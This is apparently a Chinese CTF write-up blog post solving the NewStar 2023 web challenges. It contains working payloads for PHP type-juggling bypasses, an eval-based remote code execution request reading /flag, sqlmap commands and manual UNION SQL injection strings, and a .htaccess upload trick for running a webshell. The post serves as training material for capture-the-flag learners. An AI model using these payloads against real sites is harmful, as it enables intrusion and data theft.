Newstar2023 Web


Newstar2023 Web

  1. md5绕过

QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
这些字符串的 md5 值都是 0e 开头,在 php 弱类型比较中判断为相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}

if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}

if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}

if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}

if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}

level1要求我们GET传入key1与key2,值不相等,md5值相等,故传入两个md5值开头为0e开头的字符串,在php弱比较中相等

level2要求我们POST传入key3,且md5值与sha1值相等,故传入key3[]=!,md5与sha1处理数组返回皆为NULL,故相等

level3要求我们GET传入key4,strcmp用于比较两个字符串的长度,若前者大于后者则返回>0,反之则返回<0,只有两者相等时返回0,但处理其他类型数据时会报错返回0,因此传入key4[]=1

level4要求我们GET传入key5,key5值大于2023且key5不为数字,在key5=2024后加个a即可绕过is_numric

level5使用了extract($_POST)并用foreach遍历POST传入的每个值,判断是否存在数字和字母,并且判断flag5为真即可得到flag,我们可以利用extract方法覆盖变量flag5,POST传入flag5=’即可获得flag

  1. R!C!E!
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    <?php
    highlight_file(__FILE__);
    if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
    if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
    eval($code);
    }
    }
    }

本题首先要求我们POST传入变量password并且要该变量的md5值前六位为c4d038.代入脚本碰撞

1
2
3
4
5
import hashlib
for i in range(0,9999999999999999):
md5 = hashlib.md5(str(i).encode("utf-8")).hexdigest()
if md5[0:6] == "c4d038":
print(i)

得到114514符合条件

然后POST传入变量e_v.a.l,但由于PHP特性解析字符串作为变量名时会进行一次替换某些非法字符,比如将 [ 替换为 _ ,因此我们将变量名改为e[v.a.l
preg_match过滤system,pass,无法嵌套passthru()与system()

payload:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag

  1. EasyLogin
    Ctrl+D退出终端
    BurpSuite爆破弱口令

  2. include0。0
    过滤了base64编码与rot13编码,我们可以利用iconv方法,具体见php://的各种过滤器

  3. ez_sql
    sqlmap一把梭,发现存在布尔盲注,时间注入,Union注入
    sqlmap -u ‘url’ –dbs

    sqlmap -u ‘url’ -D ctf –tables

    sqlmap -u ‘url’ -D ctf -T here_is_flag –columns

    sqlmap -u ‘url’ -D ctf -T here_is_flag -C flag –dump

手工注入:
id=1’时不回显,id=1’+and+1=1–+时回显no,换成or也一样,判断存在敏感字符过滤,故使用大写绕过

访问id=1’+Order+By+5–+,与id=1一样
访问id=1’+Order+By+6–+,发现无回显,则字段数为5,可以在字段执行SQL语句
由于数据直接被输出到页面上,故使用Union注入,语句为id=1’+Union+Select+1,2,3,4,5–+
查询当前数据库库名:
id=1'+Union+Select+1,database(),3,4,5--+,
得到库名 ctf

查询表名:
id=-1'+Union+sElect+1,(SeLect+Table_Name+From+InFOrmation_Schema.Tables+whEre+TaBle_Schema='ctf'+Limit+0,1),3,4,5--+
得到表名 grade
查询第二个表名只需将limit后的第一位数字改为1,得到表名 here_is_flag

查询字段名:
id=-1'+Union+sElect+1,(SeLect+ColuMn_Name+From+InFOrmation_Schema.ColuMns+whEre+TaBle_Schema='ctf'+And+Table_Name='here_is_flag'+Limit+0,1),3,4,5--+
得到字段名 flag

获取了数据库的库名,表名和字段名,即可查询数据库的数据,语句如下
id=-1'+Union+sElect+1,(Select+flag+From+ctf.here_is_flag+Limit+0,1),3,4,5--+
得到flag

  1. Upload Again!
    直接上传php文件报错,修改为jpg后缀显示 这不还是php? 判断后台会对文件内容进行检查
    使用第五种php标记<script language="php"></script>,显示上传成功并显示路径
    然而此时蚁剑并不能连接,因为该文件依然被解析为jpg文件
    学习后可知
    “.htaccess”文件或者称为分布式配置文件,它是 Apache 服务器中的配置文件,提供了针对每个目录设置不同的配置的方法。有些服务器在上传认证时没有拦截.htaccess文件上传,就会造成恶意用户利用上传 .htaccess 文件解析漏洞,来绕过验证进行上传WEBShell,从而达到控制网站服务器的目的。”

因此上传一个.htaccess文件,内容为
AddType application/x-httpd-php .jpg//将所有jpg文件解析为php文件
然后蚁剑连接即可

PS:执行phpinfo()发现php版本为5.6.40,而%00截断只适用于5.4.45版本及以下,因此无法运用.php%00.jpg绕过

  1. R!!C!!E!!
    提示信息泄露,于是访问url/.git,发现存在该网址,使用GitHack下载泄露的git储存库
    python githack.py url/.git

Author: John Doe
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source John Doe !
  TOC